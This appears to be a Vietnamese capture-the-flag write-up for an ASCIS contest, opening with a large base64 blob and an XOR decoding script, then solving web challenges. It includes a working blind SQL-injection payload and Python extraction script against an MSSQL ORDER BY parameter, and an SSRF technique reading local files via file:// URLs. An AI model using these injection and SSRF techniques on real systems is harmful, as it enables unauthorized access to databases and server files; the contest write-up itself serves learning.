AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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...")

r = ''
for i in range(len(a)):
    r += chr(ord(a[i]) ^ ord(b[i % len(b)]))

open('flag.png', 'wb').write(r)

Kết quả thu được 1 cái hình như này

final

Sau khi giải ra bài này, mình đã căng mắt ra để submit flag nhưng mà vẫn bị sai, đội mình quyết định hỏi BTC thì sau đó BTC đã sửa lại flag trên web ctfd.

Flag: ASCIS{H1!_1_4m_p0w3r_Gh057}

Web

script kiddie - 100pts

Như mô tả ta có thể biết rằng web có chứa lỗ hổng SQL-injection với cơ sở dữ liệu được dùng ở đây là MSSQL.
Câu query như sau: ` SELECT * FROM … ORDER BY $sort ASC Giá trị của biến $sort ta có thể control thông qua param ?sort= Payload: (case when (ascii(substring(db_name(),{index},1))={ord(c)}) then 1 else 1/db_name() end )`

import requests
from string import printable


url = 'http://167.172.85.253/web100/'
r = requests.Session()
db = ''
index = len(db) + 1

while True:
	for c in printable:
		#print("testing for " + c)
		payload = f'(case when (ascii(substring(db_name(),{index},1))={ord(c)}) then 1 else 1/db_name() end)'
		resp = r.get(url + '?sort=' + payload)
		if "Error" not in resp.text:
			db += c
			index += 1
			print(f"Length: {len(db)} - DB_NAME: {db}")
			break  

image

Flag: ASICS{ssalchtiwesmihcueymorf}

OProxy - 400pts

Challege là một trang web có chức năng cho người dùng nhập vào một url và server trả về nội dung của trang web đó.
1

Dự đoán đây có thể tác giả ra thử thách ssrf. Fuzz các payload ssrf thì thấy được:
2

Để ý server respose header Werkzeug/1.01 Python/3.10.0, có thể dự đoán được back-end có thể là flask, và có thể challenge được dựng trên docker, thử nhập url: file://127.0.0.1/app/main.py thì có được mã nguồn:

3

Tới đây thì thử đọc file flag:
4

Flag: ASCIS{SSRF_M3mcached_inj3cti0n}

isolate - 475 pts

fixingg…

You might also enjoy